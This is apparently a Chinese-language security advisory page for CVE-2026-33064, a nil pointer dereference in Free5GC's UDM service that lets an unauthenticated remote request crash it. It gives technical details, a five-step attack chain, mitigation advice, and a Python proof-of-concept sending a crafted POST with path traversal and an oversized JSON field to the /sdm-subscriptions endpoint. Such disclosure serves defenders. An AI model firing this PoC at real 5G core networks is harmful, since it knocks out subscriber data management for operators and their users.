IPBUF安全漏洞报告
English
CVE-2026-33064 CVSS 7.5 高危

CVE-2026-33064 Free5GC 空指针引用致DoS漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33064
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Free5GC

相关标签

拒绝服务空指针解引用Free5GC5G核心网UDM路径遍历

漏洞概述

Free5GC是Linux基金会的开源5G核心网项目。在1.4.2版本之前,/sdm-subscriptions端点存在因空指针解引用导致的程序崩溃漏洞。未经身份验证的远程攻击者可发送特制的POST请求,利用包含路径遍历序列(../)的畸形URL路径及大型JSON负载,触发notifier.go中DataChangeNotificationProcedure函数的空指针访问。这导致UDM服务完全崩溃,造成服务中断,直至管理员重启。该问题已在1.4.2版本中修复。

技术细节

该漏洞源于Free5GC的UDM(统一数据管理)服务在处理特定订阅数据时缺乏有效的边界条件检查。当攻击者向/sdm-subscriptions端点发送POST请求时,若URL路径中包含“../”路径遍历字符并附带大量JSON数据,notifier.go文件中的DataChangeNotificationProcedure函数在解析和处理数据变更通知时,未能验证关键对象指针的有效性。代码直接尝试访问一个未初始化或为nil的指针,导致Go语言运行时抛出“invalid memory address or nil pointer dereference”错误。由于该异常未被捕获,导致UDM进程发生panic并退出。攻击者无需用户交互或认证即可触发此逻辑漏洞,造成核心网元拒绝服务。

攻击链分析

STEP 1
侦察
攻击者扫描并识别目标网络中暴露的Free5GC UDM服务端口(默认为29503)。
STEP 2
武器化
攻击者构造恶意的HTTP POST请求,在URL中插入“../”路径遍历序列,并准备包含大量填充数据的JSON负载。
STEP 3
投递
攻击者通过网络向目标UDM服务的/sdm-subscriptions端点发送构造好的恶意请求。
STEP 4
利用
目标服务在处理请求时,DataChangeNotificationProcedure函数访问空指针,触发运行时panic。
STEP 5
影响
UDM服务进程崩溃并停止运行,导致5G核心网中用户数据管理功能不可用,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json def exploit_free5gc_udm(target_ip): """ PoC for CVE-2026-33064: Free5GC UDM Nil Pointer Dereference Triggers a panic by sending a crafted POST request to /sdm-subscriptions with path traversal and a large payload. """ # Construct the malicious URL with path traversal # The endpoint might vary based on deployment, standard is often on port 29503 base_url = f"http://{target_ip}:29503" malicious_path = "/nudm-sdm/v2/sdm-subscriptions/../../" target_url = base_url + malicious_path # Create a large JSON payload to trigger the parsing condition large_payload = { "callbackReference": { "notifyURI": "http://dummy.com/callback" }, "monitoredResourceUris": ["A" * 10000], # Large string to stress memory handling "subscriptionId": "test-subscription-123" } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"[+] Sending exploit payload to {target_url}") response = requests.post(target_url, data=json.dumps(large_payload), headers=headers, timeout=5) # If the service crashes, we might not get a response or get a connection error print(f"[+] Response Status Code: {response.status_code}") print(f"[+] Response Text: {response.text}") print("[+] Exploit sent. Check if the UDM service has crashed.") except requests.exceptions.RequestException as e: print(f"[!] Request failed (Service might have crashed): {e}") if __name__ == "__main__": target = "127.0.0.1" # Replace with actual target IP exploit_free5gc_udm(target)

影响范围

Free5GC < 1.4.2

防御指南

临时缓解措施
如果无法立即升级,建议实施严格的网络访问控制列表(ACL),禁止外部网络直接访问UDM API接口。同时,在应用层部署监控脚本,实时检测UDM进程状态,一旦发现崩溃异常立即自动重启服务以恢复业务,并记录攻击源IP以进行封禁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表